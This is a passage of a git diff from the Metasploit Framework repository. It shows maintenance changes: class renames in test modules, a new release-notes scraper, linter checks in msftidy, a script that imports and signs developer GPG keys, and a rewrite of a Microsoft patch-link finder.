"test_val_str") + valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str") + # getvalinfo should return nil for a non-existent key + ret &&= (valinfo.nil?) + ret &&= registry_deletekey(%q#HKCU\σονσλυσιονεμκυε#) + # Deleting the key should delete all its values + valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword") + ret &&= (valinfo.nil?) + + ret + end + end end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index d5c9c9dff5..0a4531f076 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -10,7 +10,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib") $:.push(lib) unless $:.include?(lib) require 'module_test' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Services include Msf::ModuleTest::PostTest diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index e862a388d8..95560225c1 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -9,7 +9,7 @@ require 'module_test' #load 'lib/msf/core/post/linux/system.rb' #load 'lib/msf/core/post/unix/enum_user_dirs.rb' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest include Msf::Post::Linux::System diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index c65d46c7bd..2dc857ec3e 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -72,7 +72,7 @@ def run( encoders, payload_name, verbose=false ) payload = generate_payload( payload_name ) - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), 'Indent' => 4, 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] diff --git a/tools/dev/find_release_notes.rb b/tools/dev/find_release_notes.rb new file mode 100644 index 0000000000..fbd073a5ae --- /dev/null +++ b/tools/dev/find_release_notes.rb @@ -0,0 +1,159 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'nokogiri' +require 'thread' + +module ReleaseNotesFinder + # This finds the release notes information based on either: + # 1. A PR number. In release notes, PR numbers are for bug fixes and notable changes. + # 2. A module short name. For example: ms08_067_netapi + class Client + attr_accessor :release_notes + + RELEASE_NOTES_PAGE = 'https://community.rapid7.com/docs/DOC-2918'.freeze + + def initialize + init_release_notes + @mutex = Mutex.new + end + + def add_release_notes_entry(row) + td = row.search('td') + release_notes_link = td[0] && td[0].at('a') ? td[0].at('a').attributes['href'].value : '' + release_notes_num = td[0] && td[0].at('a') ? td[0].at('a').text.scan(/\d{10}/).flatten.first || '' : '' + highlights = td[1] ? (td[1].search('span') || []).map { |e| e.text } * " " : '' + update_link = td[2] && td[2].at('a') ? td[2].at('a').attributes['href'].value : '' + + @release_notes << { + release_notes_link: release_notes_link, + release_notes_num: release_notes_num, + highlights: highlights, + update_link: update_link, + pull_requests: [], + new_modules: [] + } + end + + def init_release_notes + self.release_notes = [] + + html = send_http_request(RELEASE_NOTES_PAGE) + table_rows_pattern = 'div[@id="jive-body-main"]//div//section//div//div[@class="j-rte-table"]//table//tbody//tr' + rows = html.search(table_rows_pattern) + rows.each do |row| + add_release_notes_entry(row) + end + end + + def update_pr_list(n, text) + pr_num, desc = text.scan(/#(\d+).\x20*(.+)/).flatten + return unless pr_num + n[:pull_requests] << { id: pr_num, description: desc } + end + + def update_module_list(n, li) + li.search('a').each do |a| + next if a.attributes['href'].nil? + n[:new_modules] << { link: a.attributes['href'].value } + end + end + + def update_release_notes_entry(n) + html = send_http_request(n[:release_notes_link]) + pattern = '//div[@class="jive-rendered-content"]//ul//li' + html.search(pattern).each do |li| + @mutex.synchronize do + update_pr_list(n, li.text) + update_module_list(n, li) + end + end + end + + def get_release_notes(input) + release_notes.each do |n| + if n[:pull_requests].empty? + update_release_notes_entry(n) + end + + input_type = guess_input_type(input) + + case input_type + when :pr + m = get_release_notes_from_pr(n, input) + when :module_name + m = get_release_notes_from_module_name(n, input) + end + + return m if m + end + + nil + end + + def guess_input_type(input) + input =~ /^\d+/ ? :pr : :module_name + end + + def get_release_notes_from_module_name(n, input) + n[:new_modules].each do |m| + return n if m[:link] && m[:link].include?(input) + end + + nil + end + + def get_release_notes_from_pr(n, pr) + n[:pull_requests].each do |p| + return n if p[:id] && pr == p[:id] + end + + nil + end + + def send_http_request(uri) + url = URI.parse(uri) + cli = Net::HTTP.new(url.host, url.port) + cli.use_ssl = true + req = Net::HTTP::Get.new(url.request_uri) + res = cli.request(req) + Nokogiri::HTML(res.body) + end + end +end + +def main + inputs = [] + + ARGV.length.times { inputs << ARGV.shift } + puts "[*] Enumerating release notes..." + cli = ReleaseNotesFinder::Client.new + puts "[*] Finding release notes for items: #{inputs * ', '}" + threads = [] + begin + inputs.each do |input| + t = Thread.new do + n = cli.get_release_notes(input) + puts "\n" + + if n + puts "[*] Found release notes for: #{input}" + puts "Release Notes Number: #{n[:release_notes_num]}" + puts "Release Notes Link: #{n[:release_notes_link] || 'N/A'}" + puts "Update Link: #{n[:update_link] || 'N/A'}" + puts "Highlights:\n#{n[:highlights]}" + else + puts "[*] Unable to find release notes for: #{input}" + end + end + threads << t + end + threads.each { |t| t.join } + ensure + threads.each { |t| t.kill } + end +end + +if __FILE__ == $PROGRAM_NAME + main +end diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 1f17891ccd..a2f8f2e62e 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -65,6 +65,7 @@ class Msftidy def initialize(source_file) @full_filepath = source_file + @module_type = File.dirname(File.expand_path(@full_filepath))[/\/modules\/([^\/]+)/, 1] @source = load_file(source_file) @lines = @source.lines # returns an enumerator @status = OK @@ -177,8 +178,6 @@ class Msftidy case identifier when 'CVE' warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4,}$/ - when 'OSVDB' - warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ when 'BID' warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ when 'MSB' @@ -196,9 +195,7 @@ class Msftidy when 'PACKETSTORM' warn("Invalid PACKETSTORM reference") if value !~ /^\d+$/ when 'URL' - if value =~ /^http:\/\/www\.osvdb\.org/ - warn("Please use 'OSVDB' for '#{value}'") - elsif value =~ /^http:\/\/cvedetails\.com\/cve/ + if value =~ /^http:\/\/cvedetails\.com\/cve/ warn("Please use 'CVE' for '#{value}'") elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// warn("Please use 'BID' for '#{value}'") @@ -421,6 +418,8 @@ class Msftidy if not available_ranks.include?($1) error("Invalid ranking. You have '#{$1}'") end + else + info('No Rank specified. The default is NormalRanking. Please add an explicit Rank value.') end end @@ -464,13 +463,40 @@ class Msftidy def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + if @module_type == 'exploit' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack exhaustion"?') end end + def check_bad_super_class + # skip payloads, as they don't have a super class + return if @module_type == 'payloads' + + # get the super class in an ugly way + unless (super_class = @source.scan(/class Metasploit(?:\d|Module)\s+<\s+(\S+)/).flatten.first) + error('Unable to determine super class') + return + end + + prefix_super_map = { + 'auxiliary' => /^Msf::Auxiliary$/, + 'exploits' => /^Msf::Exploit(?:::Local|::Remote)?$/, + 'encoders' => /^(?:Msf|Rex)::Encoder/, + 'nops' => /^Msf::Nop$/, + 'post' => /^Msf::Post$/ + } + + if prefix_super_map.key?(@module_type) + unless super_class =~ prefix_super_map[@module_type] + error("Invalid super class for #{@module_type} module (found '#{super_class}', expected something like #{prefix_super_map[@module_type]}") + end + else + warn("Unexpected and potentially incorrect super class found ('#{super_class}')") + end + end + def check_function_basics functions = @source.scan(/def (\w+)\(*(.+)\)*/) @@ -481,6 +507,12 @@ class Msftidy end end + def check_bad_class_name + if @source =~ /^\s*class (Metasploit\d+)\s*" - @exit_status = 1 - exit(@exit_status) -end - -dirs.each do |dir| - begin - Find.find(dir) do |full_filepath| - next if full_filepath =~ /\.git[\x5c\x2f]/ - next unless File.file? full_filepath - next unless full_filepath =~ /\.rb$/ - msftidy = run_checks(full_filepath) - @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) - end - rescue Errno::ENOENT - $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" + if dirs.length < 1 + $stderr.puts "Usage: #{File.basename(__FILE__)} " + @exit_status = 1 + exit(@exit_status) end -end -exit(@exit_status.to_i) + dirs.each do |dir| + begin + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless full_filepath =~ /\.rb$/ + msftidy = Msftidy.new(full_filepath) + msftidy.run_checks + @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) + end + rescue Errno::ENOENT + $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" + end + end + + exit(@exit_status.to_i) +end diff --git a/tools/dev/sign-dev-keys.sh b/tools/dev/sign-dev-keys.sh new file mode 100755 index 0000000000..138305a703 --- /dev/null +++ b/tools/dev/sign-dev-keys.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +# Imports and signs dev keys fetched from Keybase, as asserted by the +# Metasploit-Framework development wiki. Requires bash version 3 or so for +# regular expression pattern match + +COMMITTER_KEYS_URL='https://raw.githubusercontent.com/wiki/rapid7/metasploit-framework/Committer-Keys.md' +KEYBASE_KEY_URLS=$( + \curl -sSL $COMMITTER_KEYS_URL | + \awk '$4 ~/https:\/\/keybase.io\//' | + \sed 's#.*\(https://keybase.io/[^)]*\).*#\1/key.asc#' +) + +for key in $KEYBASE_KEY_URLS; do + echo [*] Importing $key + THIS_KEY=$( + \curl -sSL $key | + \gpg --no-auto-check-trustdb --import - 2>&1 | + \head -1 | \cut -f 3 -d " " | \sed 's/://' + ) + echo [*] Signing $THIS_KEY + \gpg --sign-key $THIS_KEY + echo [*] Sending $THIS_KEY + \gpg --keyserver sks-keyservers.net --send-key $THIS_KEY +done + diff --git a/tools/exploit/find_badchars.rb b/tools/exploit/find_badchars.rb index 49c5ed2210..95552e7160 100755 --- a/tools/exploit/find_badchars.rb +++ b/tools/exploit/find_badchars.rb @@ -13,6 +13,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -112,7 +114,7 @@ case fmt translated << ln.chomp[10,47].gsub!(/(-| )/, '') end from_dbg = Rex::Text.hex_to_raw(translated) - + when "gdb" translated = '' from_dbg.each_line do |ln| diff --git a/tools/exploit/jsobfu.rb b/tools/exploit/jsobfu.rb index d3417c1612..732a9c9d52 100755 --- a/tools/exploit/jsobfu.rb +++ b/tools/exploit/jsobfu.rb @@ -48,7 +48,7 @@ module Jsobfu raise OptionParser::MissingArgument, 'No options set, try -h for usage' elsif options[:iteration] && options[:iteration] !~ /^\d+$/ raise OptionParser::InvalidOption, "#{options[:format]} is not a number" - elsif !::File.exists?(options[:input].to_s) + elsif !::File.exist?(options[:input].to_s) raise OptionParser::InvalidOption, "Cannot find: #{options[:input]}" end diff --git a/tools/exploit/metasm_shell.rb b/tools/exploit/metasm_shell.rb index d402400d5b..4136c6ef6c 100755 --- a/tools/exploit/metasm_shell.rb +++ b/tools/exploit/metasm_shell.rb @@ -20,6 +20,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +gem 'rex-text' + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' @@ -40,7 +42,7 @@ def usage $stderr.puts("\nUsage: #{$0} \n" + $args.usage) exit end - + $args = Rex::Parser::Arguments.new( "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"], "-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ], diff --git a/tools/exploit/msu_finder.rb b/tools/exploit/msu_finder.rb index 083026c1a5..5203a5b167 100755 --- a/tools/exploit/msu_finder.rb +++ b/tools/exploit/msu_finder.rb @@ -1,771 +1,108 @@ #!/usr/bin/env ruby -### -# -# This script will enumerate download links for Microsoft patches. -# -# Author: -# * sinn3r -# -### - - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'rex' -require 'nokogiri' -require 'uri' -require 'json' +require 'patch_finder/core/helper' +require 'patch_finder/msu' require 'optparse' -module MicrosoftPatchFinder +class PatchFinderBin - module SiteInfo - TECHNET = { - ip: '157.56.148.23', - vhost: 'technet.microsoft.com' - } + include PatchFinder::Helper - MICROSOFT = { - ip: '104.72.230.162', - vhost: 'www.microsoft.com' - } + attr_reader :args - GOOGLEAPIS = { - ip: '74.125.28.95', - vhost: 'www.googleapis.com' - } - end + def get_parsed_options + options = {} - # This provides whatever other classes need. - module Helper + parser = OptionParser.new do |opt| + opt.separator '' + opt.separator 'Specific options:' - # Prints a debug message. - # - # @param msg [String] The message to print. - # @return [void] - def print_debug(msg='') - $stderr.puts "[DEBUG] #{msg}" - end + opt.on('-q', '--query ', 'Find advisories including this keyword') do |v| + options[:keyword] = v + end - # Prints a status message. - # - # @param msg [String] The message to print. - # @return [void] - def print_status(msg='') - $stderr.puts "[*] #{msg}" - end - - # Prints an error message. - # - # @param msg [String] The message to print. - # @return [void] - def print_error(msg='') - $stderr.puts "[ERROR] #{msg}" - end - - # Prints a regular message. - # - # @param msg [String] The message to print. - # @return pvoid - def print_line(msg='') - $stdout.puts msg - end - - # Sends an HTTP request with Rex. - # - # @param rhost [Hash] Information about the target host. Use MicrosoftPatchFinder::SiteInfo. - # @option rhost [String] :vhost - # @option rhost [String] :ip IPv4 address - # @param opts [Hash] Information about the Rex request. - # @raise [RuntimeError] Failure to make a request. - # @return [Rex::Proto::Http::Response] - def send_http_request(rhost, opts={}) - res = nil - - opts.merge!({'vhost'=>rhost[:vhost]}) - - print_debug("Requesting: #{opts['uri']}") - - cli = Rex::Proto::Http::Client.new(rhost[:ip], 443, {}, true, 'TLS1') - tries = 1 - begin - cli.connect - req = cli.request_cgi(opts) - res = cli.send_recv(req) - rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e - if tries < 3 - print_error("Failed to make a request, but will try again in 5 seconds...") - sleep(5) - tries += 1 - retry + opt.on('-s', '--search-engine ', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v| + case v.to_s + when /^google$/i + options[:search_engine] = :google + when /^technet$/i + options[:search_engine] = :technet else - raise "[x] Unable to make a request: #{e.class} #{e.message}\n#{e.backtrace * "\n"}" - end - ensure - cli.close - end - - res - end - end - - - # Collects MSU download links from Technet. - class PatchLinkCollector - include MicrosoftPatchFinder::Helper - - # Returns a response of an advisory page. - # - # @param msb [String] MSB number in this format: msxx-xxx - # @return [Rex::Proto::Http::Response] - def download_advisory(msb) - send_http_request(SiteInfo::TECHNET, { - 'uri' => "/en-us/library/security/#{msb}.aspx" - }) - end - - - # Returns the most appropriate pattern that could be used to parse and extract links from an advisory. - # - # @param n [Nokogiri::HTML::Document] The advisory page parsed by Nokogiri - # @return [Hash] - def get_appropriate_pattern(n) - # These pattern checks need to be in this order. - patterns = [ - # This works from MS14-001 until the most recent - { - check: '//div[@id="mainBody"]//div//h2//div//span[contains(text(), "Affected Software")]', - pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' - }, - # This works from ms03-040 until MS07-029 - { - check: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]', - pattern: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]' - }, - # This works from sometime until ms03-039 - { - check: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//p//strong[contains(text(), "Download locations")]', - pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a' - }, - # This works from MS07-030 until MS13-106 (the last update in 2013) - # The check is pretty short so if it kicks in too early, it tends to create false positives. - # So it goes last. - { - check: '//div[@id="mainBody"]//p//strong[contains(text(), "Affected Software")]', - pattern: '//div[@id="mainBody"]//table//a' - }, - ] - - patterns.each do |pattern| - if n.at_xpath(pattern[:check]) - return pattern[:pattern] + fail OptionParser::InvalidOption, "Invalid search engine: #{v}" end end - nil - end - - - # Returns the details page for an advisory. - # - # @param res [Rex::Proto::Http::Response] - # @return [Array] An array of URI objects. - def get_details_aspx(res) - links = [] - - page = res.body - n = ::Nokogiri::HTML(page) - - appropriate_pattern = get_appropriate_pattern(n) - - n.search(appropriate_pattern).each do |anchor| - found_link = anchor.attributes['href'].value - if /https:\/\/www\.microsoft\.com\/downloads\/details\.aspx\?familyid=/i === found_link - begin - links << URI(found_link) - rescue ::URI::InvalidURIError - print_error "Unable to parse URI: #{found_link}" - end - end + opt.on('-r', '--regex ', '(Optional) Specify what type of links you want') do |v| + options[:regex] = v end - links - end - - - # Returns the redirected page. - # - # @param rhost [Hash] From MicrosoftPatchFinder::SiteInfo - # @param res [Rex::Proto::Http::Response] - # @return [Rex::Proto::Http::Response] - def follow_redirect(rhost, res) - opts = { - 'method' => 'GET', - 'uri' => res.headers['Location'] - } - - send_http_request(rhost, opts) - end - - - # Returns the download page of an advisory. - # - # @param uri [URI::HTTP] - # @return [Rex::Proto::Http::Response] - def get_download_page(uri) - opts = { - 'method' => 'GET', - 'uri' => uri.request_uri - } - - res = send_http_request(SiteInfo::MICROSOFT, opts) - - if res.headers['Location'] - return follow_redirect(SiteInfo::MICROSOFT, res) + opt.on('--apikey ', '(Optional) Google API key.') do |v| + options[:google_api_key] = v end - res - end - - - # Returns a collection of found MSU download links from an advisory. - # - # @param page [String] The HTML page of the advisory. - # @return [Array] An array of links - def get_download_links(page) - page = ::Nokogiri::HTML(page) - - relative_uri = page.search('a').select { |a| - a.attributes['href'] && a.attributes['href'].value.include?('confirmation.aspx?id=') - }.first - - return [] unless relative_uri - relative_uri = relative_uri.attributes['href'].value - - absolute_uri = URI("https://www.microsoft.com/en-us/download/#{relative_uri}") - opts = { - 'method' => 'GET', - 'uri' => absolute_uri.request_uri - } - res = send_http_request(SiteInfo::MICROSOFT, opts) - n = ::Nokogiri::HTML(res.body) - - n.search('a').select { |a| - a.attributes['href'] && a.attributes['href'].value.include?('https://download.microsoft.com/download/') - }.map! { |a| a.attributes['href'].value }.uniq - end - - - # Returns whether the page is an advisory or not. - # - # @param res [Rex::Proto::Http::Response] - # @return [Boolean] true if the page is an advisory, otherwise false. - def has_advisory?(res) - !res.body.include?('We are sorry. The page you requested cannot be found') - end - - - # Returns whether the number is in valid MSB format or not. - # - # @param msb [String] The number to check. - # @return [Boolean] true if the number is in MSB format, otherwise false. - def is_valid_msb?(msb) - /^ms\d\d\-\d\d\d$/i === msb - end - end - - - # A class that searches advisories from Technet. - class TechnetMsbSearch - include MicrosoftPatchFinder::Helper - - def initialize - opts = { - 'method' => 'GET', - 'uri' => '/en-us/security/bulletin/dn602597.aspx' - } - res = send_http_request(SiteInfo::TECHNET, opts) - @firstpage ||= res.body - end - - - # Returns a collection of found MSB numbers either from the product list, or generic search. - # - # @param keyword [String] The product to look for. - # @return [Array] - def find_msb_numbers(keyword) - product_list_matches = get_product_dropdown_list.select { |p| Regexp.new(keyword) === p[:option_text] } - if product_list_matches.empty? - print_debug("Did not find a match from the product list, attempting a generic search") - search_by_keyword(keyword) - else - product_names = [] - ids = [] - product_list_matches.each do |e| - ids << e[:option_value] - product_names << e[:option_text] - end - print_debug("Matches from the product list (#{product_names.length}): #{ product_names * ', ' }") - search_by_product_ids(ids) - end - end - - - # Returns the search results in JSON format. - # - # @param keyword [String] The keyword to search. - # @return [Hash] JSON data. - def search(keyword) - opts = { - 'method' => 'GET', - 'uri' => '/security/bulletin/services/GetBulletins', - 'vars_get' => { - 'searchText' => keyword, - 'sortField' => '0', - 'sortOrder' => '1', - 'currentPage' => '1', - 'bulletinsPerPage' => '9999', - 'locale' => 'en-us' - } - } - res = send_http_request(SiteInfo::TECHNET, opts) - begin - return JSON.parse(res.body) - rescue JSON::ParserError + opt.on('--cx ', '(Optional) Google search engine ID.') do |v| + options[:google_search_engine_id] = v end - {} - end + opt.on('-d', '--dir ', '(Optional) The directory to save the patches') do |v| + unless File.directory?(v) + fail OptionParser::InvalidOption, "Directory not found: #{v}" + end - - # Performs a search based on product IDs - # - # @param ids [Array] An array of product IDs. - # @return [Array] An array of found MSB numbers. - def search_by_product_ids(ids) - msb_numbers = [] - - ids.each do |id| - j = search(id) - msb = j['b'].collect { |e| e['Id']}.map{ |e| e.downcase} - msb_numbers.concat(msb) + options[:destdir] = v end - msb_numbers - end - - - # Performs a search based on a keyword - # - # @param keyword [String] - # @return [Array] An array of found MSB numbers - def search_by_keyword(keyword) - j = search(keyword) - j['b'].collect { |e| e['Id']}.map{ |e| e.downcase } - end - - - # Returns the product list that Technet currently supports for searching. - # - # @return [Array] - def get_product_dropdown_list - @product_dropdown_list ||= lambda { - list = [] - - page = ::Nokogiri::HTML(firstpage) - page.search('//div[@class="sb-search"]//select[@id="productDropdown"]//option').each do |product| - option_value = product.attributes['value'].value - option_text = product.text - next if option_value == '-1' # This is the ALL option - list << { option_value: option_value, option_text: option_text } - end - - list - }.call - end - - attr_reader :firstpage - end - - class GoogleMsbSearch - include MicrosoftPatchFinder::Helper - - # API Doc: - # https://developers.google.com/custom-search/json-api/v1/using_rest - # Known bug: - # * Always gets 20 MSB results. Weird. - - def initialize(opts={}) - @api_key = opts[:api_key] - @search_engine_id = opts[:search_engine_id] - end - - - # Returns the MSB numbers associated with the keyword. - # - # @param keyword [String] The keyword to search for in an advisory. - # @return [Array] MSB numbers - def find_msb_numbers(keyword) - msb_numbers = [] - next_starting_index = 1 - - begin - while - results = search(keyword: keyword, starting_index: next_starting_index) - items = results['items'] - items.each do |item| - title = item['title'] - msb = title.scan(/Microsoft Security Bulletin (MS\d\d\-\d\d\d)/).flatten.first - if msb - msb_numbers << msb.downcase - end - end - - next_starting_index = get_next_index(results) - next_page = results['queries']['nextPage'] - - # Google API Documentation: - # https://developers.google.com/custom-search/json-api/v1/using_rest - # "This role is not present if the current results are the last page. - # Note: This API returns up to the first 100 results only." - break if next_page.nil? || next_starting_index > 100 - end - rescue RuntimeError => e - print_error(e.message) - return msb_numbers.uniq - end - - msb_numbers.uniq - end - - - # Performs a search using Google API - # - # @param opts [Hash] - # @options opts [String] :keyword The keyword to search - # @return [Hash] JSON data - def search(opts={}) - starting_index = opts[:starting_index] - - search_string = [ - opts[:keyword], - 'intitle:"Microsoft Security Bulletin"', - '-"Microsoft Security Bulletin Summary"' - ].join(' ') - - opts = { - 'method' => 'GET', - 'uri' => '/customsearch/v1', - 'vars_get' => { - 'key' => api_key, - 'cx' => search_engine_id, - 'q' => search_string, - 'start' => starting_index.to_s, - 'num' => '10', # 10 is max - 'c2coff' => '1' # 1 = Disabled, 0 = Enabled - } - } - - res = send_http_request(SiteInfo::GOOGLEAPIS, opts) - results = parse_results(res) - if starting_index == 1 - print_debug("Number of search results: #{get_total_results(results)}") - end - - results - end - - - # Parse Google API search results - # - # @param res [Rex::Proto::Http::Response] - # @raise [RuntimeError] If Google returns an error - # @return [Hash] - def parse_results(res) - j = JSON.parse(res.body) - - if j['error'] - message = j['error']['errors'].first['message'] - reason = j['error']['errors'].first['reason'] - raise "Google Search failed. #{message} (#{reason})" - end - - j - end - - - # Returns the total results. - # - # @param j [Hash] JSON data from Google. - # @return [Fixnum] - def get_total_results(j) - j['queries']['request'].first['totalResults'].to_i - end - - - # Returns the next index. - # - # @param j [Hash] JSON data from Google. - # @return [Fixnum] - def get_next_index(j) - j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 - end - - # @!attribute api_key - # @return [String] The Google API key - attr_reader :api_key - - # @!attribute search_engine_id - # @return [String] The Google Custom Search Engine ID - attr_reader :search_engine_id - end - - class OptsConsole - def self.banner - %Q| - Usage: #{__FILE__} [options] - - The following example will download all IE update links: - #{__FILE__} -q "Internet Explorer" - - Searching advisories via Technet: - When you submit a query, the Technet search engine will first look it up from a product list, - and then return all the advisories that include the keyword you are looking for. If there's - no match from the product list, then the script will try a generic search. The generic method - also means you can search by MSB, KB, or even the CVE number. - - Searching advisories via Google: - Searching via Google requires an API key and an Search Engine ID from Google. To obtain these, - make sure you have a Google account (such as Gmail), and then do the following: - 1. Go to Google Developer's Console - 1. Enable Custom Search API - 2. Create a browser type credential. The credential is the API key. - 2. Go to Custom Search - 1. Create a new search engine - 2. Under Sites to Search, set: technet.microsoft.com - 3. In your search site, get the Search Engine ID under the Basics tab. - By default, Google has a quota limit of 1000 queries per day. You can raise this limit with - a fee. - - The way this tool uses Google to find advisories is the same as doing the following manually: - [Query] site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary" - - Dryrun: - If you'd like to double check on false positives, you can use the -d flag and manually verify - the accuracy of the search results before actually collecting the download links. - - Download: - The following trick demonstrates how you can automatically download the updates: - ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt - - Patch Extraction: - After downloading the patch, you can use the extract_msu.bat tool to automatically extract - Microsoft patches. - | - end - - def self.get_parsed_options - options = {} - - parser = OptionParser.new do |opt| - opt.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '') - opt.separator '' - opt.separator 'Specific options:' - - opt.on('-q', '--query ', 'Find advisories that include this keyword') do |v| - options[:keyword] = v - end - - opt.on('-s', '--search-engine ', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v| - case v.to_s - when /^google$/i - options[:search_engine] = :google - when /^technet$/i - options[:search_engine] = :technet - else - raise OptionParser::MissingArgument, "Invalid search engine: #{v}" - end - end - - opt.on('-r', '--regex ', '(Optional) Specify what type of links you want') do |v| - options[:regex] = v - end - - opt.on('--apikey ', '(Optional) Google API key. Set this if the search engine is Google') do |v| - options[:google_api_key] = v - end - - opt.on('--cx ', '(Optional) Google search engine ID. Set this if the search engine is Google') do |v| - options[:google_search_engine_id] = v - end - - opt.on('-d', '--dryrun', '(Optional) Perform a search, but do not fetch download links. Default: no') do |v| - options[:dryrun] = true - end - - opt.on_tail('-h', '--help', 'Show this message') do - $stderr.puts opt - exit - end - end - - parser.parse! - - if options.empty? - raise OptionParser::MissingArgument, 'No options set, try -h for usage' - elsif options[:keyword].nil? || options[:keyword].empty? - raise OptionParser::MissingArgument, '-q is required' - end - - unless options[:search_engine] - options[:search_engine] = :technet - end - - if options[:search_engine] == :google - if options[:google_api_key].nil? || options[:google_search_engine_id].empty? - raise OptionParser::MissingArgument, 'Search engine is Google, but no API key specified' - elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty? - raise OptionParser::MissingArgument, 'Search engine is Google, but no search engine ID specified' - end - end - - options - end - end - - class Driver - include MicrosoftPatchFinder::Helper - - def initialize - begin - @args = MicrosoftPatchFinder::OptsConsole.get_parsed_options - rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e - print_error(e.message) + opt.on_tail('-h', '--help', 'Show this message') do + $stderr.puts opt exit end end - # Returns download links. - # - # @param msb [String] MSB number. - # @param regex [String] The regex pattern to use to collect specific download URLs. - # @return [Array] Download links - def get_download_links(msb, regex=nil) - msft = MicrosoftPatchFinder::PatchLinkCollector.new + parser.parse! - unless msft.is_valid_msb?(msb) - print_error "Not a valid MSB format." - print_error "Example of a correct one: ms15-100" - return [] - end - - res = msft.download_advisory(msb) - - if !msft.has_advisory?(res) - print_error "The advisory cannot be found" - return [] - end - - links = msft.get_details_aspx(res) - if links.length == 0 - print_error "Unable to find download.microsoft.com links. Please manually navigate to the page." - return [] - else - print_debug("Found #{links.length} affected products for this advisory.") - end - - link_collector = [] - - links.each do |link| - download_page = msft.get_download_page(link) - download_links = msft.get_download_links(download_page.body) - if regex - filtered_links = download_links.select { |l| Regexp.new(regex) === l } - link_collector.concat(filtered_links) - else - link_collector.concat(download_links) - end - end - - link_collector + if options.empty? + fail OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:keyword].nil? || options[:keyword].empty? + fail OptionParser::MissingArgument, '-q is required' end - # Performs a search via Google - # - # @param keyword [String] The keyword to search - # @param api_key [String] Google API key - # @param cx [String] Google Search Engine Key - # @return [Array] See MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers - def google_search(keyword, api_key, cx) - search = MicrosoftPatchFinder::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx) - search.find_msb_numbers(keyword) + unless options[:search_engine] + options[:search_engine] = :technet end - - # Performs a search via Technet - # - # @param keyword [String] The keyword to search - # @return [Array] See MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers - def technet_search(keyword) - search = MicrosoftPatchFinder::TechnetMsbSearch.new - search.find_msb_numbers(keyword) - end - - def 